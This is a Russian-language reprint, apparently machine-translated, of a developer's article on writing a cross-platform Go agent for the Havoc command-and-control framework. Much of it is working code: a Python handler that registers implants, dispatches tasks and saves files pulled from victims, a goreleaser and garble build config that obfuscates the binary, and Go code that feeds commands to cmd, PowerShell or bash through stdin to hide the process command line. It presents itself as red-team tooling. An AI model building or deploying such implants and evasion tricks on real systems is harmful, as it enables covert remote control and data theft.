Запись о разработке агента Havoc Framework C2
Запись о разработке агента Havoc Framework C2

Авторизованная перепечатка

фон

💡 Havoc — это современная, гибкая система управления и контроля после разработки для тестеров на проникновение, красных и синих команд. Это бесплатное программное обеспечение с открытым исходным кодом на Github, написанное и поддерживаемое Полом Унгуром (C5pider). Адрес открытого исходного кода: [HavocFramework/Havoc: The Havoc Framework (github.com)](https://github.com/HavocFramework/Havoc).

Havoc Framework разделен на две части. TeamServer используется для настройки прослушивателей, обработки запросов агента, обработки выполнения команд, загрузки файлов и других функций. Клиент отвечает за подключение к TeamServer и аутентификацию через порты управления Websocket и TeamServer.

Версия Demon Agent на языке C по умолчанию поддерживается в хранилище Havoc Framework. Этот агент имеет относительно полные функции. Однако, поскольку он имеет открытый исходный код, образцы агента, созданные по умолчанию, будут проверены и уничтожены напрямую. и в образце С точки зрения конфронтации автор также предоставляет пользователям некоторую свободу действий:

About Evasion

You might ask if the Demon agent bypasses anti-virus (AV) products or even endpoint detection and response (EDR) products, most likely not. The Demon agent wasn't designed to be evasive nor was it within the scope. It was designed to be as malleable and modular as possible to give the operator as much power over it to adapt it for the red team operation without overloading it with evasion techniques and features that are going to be most likely burned and going to be an IOC by itself. And the devs of the agent don't wanna play the cat and mouse game with AV & EDR vendors. That said, the Demon agent is designed to be interoperable with common techniques for bypassing anti-virus software such as loaders, packers, crypters, and stagers.

Общий смысл заключается в том, что Demon не предназначен для обхода антивируса, а только предоставляет исходный код. Этот исходный код аналогичен CobaltStrike's Beacon. Эти способы обхода по-прежнему требуют от пользователей полагаться на свои собственные возможности. Архитектура Havoc Framework аналогична CobaltStrike, за исключением того, что TeamServer также отвечает за генерацию и компиляцию агента.

Пользовательский агент (пользовательский)

На домашней странице Havoc Framework на Github представлены 4 образца агентов:

Изучив исходный код, я обнаружил, что ни один из этих агентов не совместим с Linux и MacOS. В этой статье рассказывается, как разрабатывать кроссплатформенные агенты с определенными примерами возможностей противостояния.

Чтобы узнать о разработке Havoc Agent, вы можете сначала обратиться к: https://codex-7.gitbook.io/codexs-terminal-window/red-team/red-team-dev/extending-havoc-c2/ Third- party-agents Конечно, https://github.com/CodeXTF2/PyHmmm, написанный этим автором, предназначен для обучения, поэтому он все еще имеет некоторые недостатки и не может быть использован напрямую.

После регистрации стороннего агента отправляемые данные имеют фиксированную структуру. Каждый раз, когда данные отправляются на прослушивающий порт C2, проверяется 4-байтовое (магическое значение) магическое число:

(ДАННЫЕ ОБРАБОТКИ) Данные обратного вызова будут отправлены в сценарий обработки Python с помощью TeamServer, а затем сценарий обработки Python использует Websocket для связи с TeamServer.

Процесс реализации

Здесь мы кратко представим ключевые моменты реализации. Сначала напишем класс Agent, который используется для регистрации Агента для Havoc и логики обработки запросов Агента:

Язык кода:javascript
копировать
class Golang(AgentType):              
    Name = "Havoc-Agent"              
    Author = "@Rvn0xsy"              
    Version = "0.1"              
    Description = f"""golang 3rd party agent for Havoc"""              
    MagicValue = 0x41414141 # Это можно изменить              
    SourceCodeDir = "agent"              
    ConfigFile = "agent/options.go"              
    AgentName = "Havoc-Agent-Handler"              


              
    Arch = [              
        "386",              
        "amd64_v1",              
        "arm64"              
    ]              


              
    Formats = [              
        {              
            "Name": "windows",              
            "Extension": "exe",              
        },              
        {              
            "Name": "linux",              
            "Extension": "",              
        },              
        {              
            "Name": "darwin",              
            "Extension": "",              
        },              
    ]              


              
    BuildingConfig = {              
        "Sleep": "10"              
    }              


              
    Commands = [              
        CommandShell(),              
        CommandExit(),              
        CommandDownload(),              
        CommandShellScript(),              
    ]              
                      # для загрузки файла              
    def write_tmp_file(self, filename, data):              
        md5_hash = hashlib.md5()              
        # Обновить содержимое хэш-объекта              
        md5_hash.update(filename.encode('utf-8'))              
        # Получите расчет MD5 ценить              
        filename_md5 = md5_hash.hexdigest()              
        filepath = "/tmp/" + filename_md5              
        with open(filepath, "wb") as f:              
            f.write(b64decode(data))              
        return filepath              


              
    def generate(self, config: dict) -> None:              
                                             # Заключительное введение в функцию генерации              
        logging.info(f"[*] config: {config}")              


              
        self.builder_send_message(config['ClientID'], "Info", f"hello from service builder")              
        self.builder_send_message(config['ClientID'], "Info", f"Options Config: {config['Options']}")              
        self.builder_send_message(config['ClientID'], "Info", f"Agent Config: {config['Config']}")              
        # ....              


              
    def response(self, response: dict) -> bytes:              
        logging.info("Received request from agent")              
        agent_header = response["AgentHeader"]              
        # the team server base64 encodes the request.              
        agent_response = b64decode(response["Response"])              
        agent_json = json.loads(agent_response)              
        if agent_json["task"] == "register":              
            logging.info("[*] Registered agent")              
            self.register(agent_header, json.loads(agent_json["data"]))              
            AgentID = response["AgentHeader"]["AgentID"]              
            self.console_message(AgentID, "Good", f"Python agent {AgentID} registered", "")              
            return b'registered'              
        elif agent_json["task"] == "base64":              
            AgentID = response["Agent"]["NameID"]              
            logging.info("[*] Agent get base64 data")              
            if len(agent_json["data"]) > 0:              
                print("Output: " + agent_json["data"])              
                data = base64.b64decode(agent_json["data"]).decode('utf-8')              
                self.console_message(AgentID, "Good", "Received Output:", data)              
            return b'get_data'              
        elif agent_json["task"] == "get_task":              
            AgentID = response["Agent"]["NameID"]              
            # self.console_message( AgentID, "Good", "Host checkin", "" )              
            logging.info("[*] Agent requested taskings")              
            Tasks = self.get_task_queue(response["Agent"])              
            logging.info("Tasks retrieved")              
            return Tasks              
        elif agent_json['task'] == "post_task":              
            AgentID = response["Agent"]["NameID"]              
            if len(agent_json["data"]) > 0:              
                logging.info("Output: " + agent_json["data"])              
                self.console_message(AgentID, "Good", "Received Output:", agent_json["data"])              
        elif agent_json['task'] == "download_file":              
            AgentID = response["Agent"]["NameID"]              
            if len(agent_json["data"]) > 0:              
                filename = agent_json["external"]              
                filepath = self.write_tmp_file(filename, agent_json["data"])              
                logging.info("File downloaded")              
                self.console_message(AgentID, "Good", "Download: ", filename+" ==> "+filepath)              
        return b'ok'

Функция регистрации

Язык кода:javascript
копировать
  Commands = [                
        CommandShell(),       # выполнить команду                
        CommandExit(),        # Выход, похоже не реализован                
        CommandDownload(),    # Загрузка файла                
        CommandShellScript(), # Выполнить скрипт                
    ]

логика обработки

Agent_json будет получать разные данные, а поля в нем будут различать, какой это тип запроса:

•Регистрация Агента онлайн

•base64 получает данные Base64, декодирует их и выводит на консоль

•get_task Получает задачу от TeamServer и отправляет ее агенту.

•post_task отправляет полученный контент в консоль клиента.

•download_file получает файлы и сохраняет их в каталоге tmp, что фактически является загрузкой файлов.

Логика генерации агента

💡 GoReleaser — это инструмент с открытым исходным кодом, используемый для упрощения процесса выпуска проектов Go. Он может автоматизировать создание, упаковку и публикацию проектов Go, а также поддерживает публикацию проектов в различных каналах выпуска, таких как двоичные файлы, образы Docker, Homebrew, Snapcraft и т. д.

🛠️ Garble — это инструмент, который запутывает код Go путем упаковки цепочки инструментов Go. Он в основном совместим с командой компиляции Go. На этой основе он добавляет некоторые параметры режима обфускации. Установив параметры, вы можете создавать двоичные файлы Go с разными уровнями. программы обфускации.

Язык кода:javascript
копировать
GoReleaser - Builds
https://github.com/burrowers/garble
# This is an example .goreleaser.yml file with some sane defaults.                
# Make sure to check the documentation at https://goreleaser.com                
project_name: Havoc-Agent-Handler                
before:                
  hooks:                
    # You may remove this if you don't use go modules.                
    - go mod tidy                
    # you may remove this if you don't need go generate                
    - go generate ./...                
builds:                
  - env:                
      - CGO_ENABLED=0                
      - LANG=en_US                
    goos:                
      - linux                
      - windows                
      - darwin                
    goarch:                
      - amd64                
      - arm64                
      - "386"                
    command: -tiny                
    flags:                
      - -literals                
      - -seed=random                
      - build                
      - -trimpath                
#      - >-                
#        -ldflags={{- if eq .Os "windows" }}"-s -w -H windowsgui"{{else}}"-s -w"{{- end }}                
    ldflags:                
      - >-                
        {{- if eq .Os "windows" }}-s -w -H windowsgui{{else}}-s -w{{- end }}                
    gobinary: garble                
checksum:                
  name_template: 'checksums.txt'                
snapshot:                
  name_template: "{{ incpatch .Version }}-next"                
changelog:                
  sort: asc                
  filters:                
    exclude:                
      - '^docs:'                
      - '^test:'

Для этой части я использовал goreleaser+garble, который может выполнять некоторую обфускацию на статическом уровне:

Язык кода:javascript
копировать
def generate(self, config: dict) -> None:                


                
        logging.info(f"[*] config: {config}")                


                
        self.builder_send_message(config['ClientID'], "Info", f"hello from service builder")                
        self.builder_send_message(config['ClientID'], "Info", f"Options Config: {config['Options']}")                
        self.builder_send_message(config['ClientID'], "Info",f"Конфигурация агента: {config['Config']}")                
        # копировать目录                
        random_dir = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))                
        dest_dir = os.path.join("/tmp", random_dir)                
        shutil.copytree(self.SourceCodeDir, dest_dir)                
        logging.info(f"[*] Successfully copied '{self.SourceCodeDir}' to '{dest_dir}'")                
        with open(dest_dir + '/options.go', "r") as replacer:                
            content = replacer.read()                
        modified_content = content.replace('OPTIONS_STRING', json.dumps(config['Options']))                
        with open(dest_dir + '/options.go', 'w') as file:                
            file.write(modified_content)                
        arch = config['Options']['Arch']                
        os_type = config['Options']['Format']                
        goreleaser_build_command = ["goreleaser", "build", "--snapshot", "--rm-dist", "--single-target"]                
        env_variables = os.environ                
        env_variables['GOOS'] = os_type                
        env_variables['GOARCH'] = arch.replace('_v1', '')                
        process = subprocess.Popen(goreleaser_build_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=dest_dir, env=env_variables)                
        stdout, stderr = process.communicate()                
        self.builder_send_message(config['ClientID'], "Info", "Standard Output:")                
        self.builder_send_message(config['ClientID'], "Info", stdout.decode())                
        self.builder_send_message(config['ClientID'], "Info", "Standard Error:")                
        self.builder_send_message(config['ClientID'], "Info", stderr.decode())                


                
        extension = ".exe" if os_type == "windows" else ""                
        # Havoc-Agent-Handler_darwin_amd64                
        # agent/dist/Havoc-Agent-Handler_windows_amd64.exe                
        # agent/dist/Havoc-Agent-Handler_windows_amd64/Havoc-Agent-Handler_windows_amd64.exe                
        folder = f"dist/{self.AgentName}_{os_type}_{arch}"                
        filename = f"{dest_dir}/{folder}/{self.AgentName}{extension}"                
        logging.info(f"[*] filename: {filename}")                
        with open(filename, "rb") as f:                
            data = f.read()                
        self.builder_send_payload(config['ClientID'], self.AgentName + extension,                
                                  data)                
        shutil.rmtree(dest_dir)

Оптимизация выполнения команд

Чтобы поддержать выполнение кроссплатформенных команд и уменьшить характеристики командной строки, я рассмотрю возможность создания процессов-интерпретаторов, таких как CMD, Powershell и Bash, а затем записи команд в STDIN для чтения STDOUT для получения результатов.

Язык кода:javascript
копировать
func (agent *LinuxAgent) ExecuteScript(shell string, command string, timeout time.Duration) string {              
           var cmd *exec.Cmd              


              
           cmd = exec.Command(shell, "-")              


              
           // Получить канал стандартного ввода (stdin)              
           stdin, err := cmd.StdinPipe()              
           if err != nil {              
                      return err.Error()              
           }              


              
           // Получить канал стандартного вывода (stdout)              
           stdout, err := cmd.StdoutPipe()              
           if err != nil {              
                      return err.Error()              
           }              


              
           // 启动процесс              
           err = cmd.Start()              
           if err != nil {              
                      return err.Error()              
           }              


              
           // Создайте программу чтения для чтения стандартного вывода              
           reader := bufio.NewReader(stdout)              


              
           // Создайте контекст и установите таймаут              
           ctx, cancel := context.WithTimeout(context.Background(), timeout)              
           defer cancel()              


              
           // Создайте буфер для сохранения результатов вывода команды.              
           var outputBuf bytes.Buffer              


              
           // Используется для отправки команд на стандартный ввод goroutine              
           go func() {              
                      // Разделите командную строку по строкам и отправьте каждую строку на стандартный ввод.              
                      scanner := bufio.NewScanner(strings.NewReader(command))              
                      for scanner.Scan() {              
                                 command := scanner.Text()              
                                 // Отправить команду на стандартный ввод              
                                 _, err := fmt.Fprintln(stdin, command+"\n")              
                                 if err != nil {              
                                            log.Println(err)              
                                 }              
                      }              
                      // Закройте стандартный канал ввода, указывая на конец ввода.              
                      stdin.Close()              
           }()              


              
           // Используется для чтения результатов вывода команды и сохранения их в буфер. goroutine              
           go func() {              
                      // Прочитайте результаты вывода команды и сохраните их в буфер.              
                      for {              
                                 select {              
                                 case <-ctx.Done():              
                                            return              
                                 default:              
                                            line, err := reader.ReadString('\n')              
                                            if err != nil && err != io.EOF {              
                                                       return              
                                            }              


              
                                            outputBuf.WriteString(line)              


              
                                            if err == io.EOF {              
                                                       return              
                                            }              
                                 }              
                      }              
           }()              


              
           // Подождите, пока процесс завершится              
           err = cmd.Wait()              
           if err != nil {              
                      return err.Error()              
           }              
           // Преобразовать содержимое буфера в строку              
           output := outputBuf.String()              
           return output              
}

С помощью этой функции можно выполнить в C2:

Язык кода:javascript
копировать
C2 > shell_script powershell.exe /local/path/to/file.ps1              
C2 > shell_script /bin/bash /local/path/to/file.sh              
C2 > shell_script cmd.exe /local/path/to/file.bat

Таким образом, командная строка процесса не будет генерировать характерное содержимое, такое как cmd.exe /c XXX.

Весь исходный код: https://github.com/Rvn0xsy/Havoc-Agent-Handler.

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose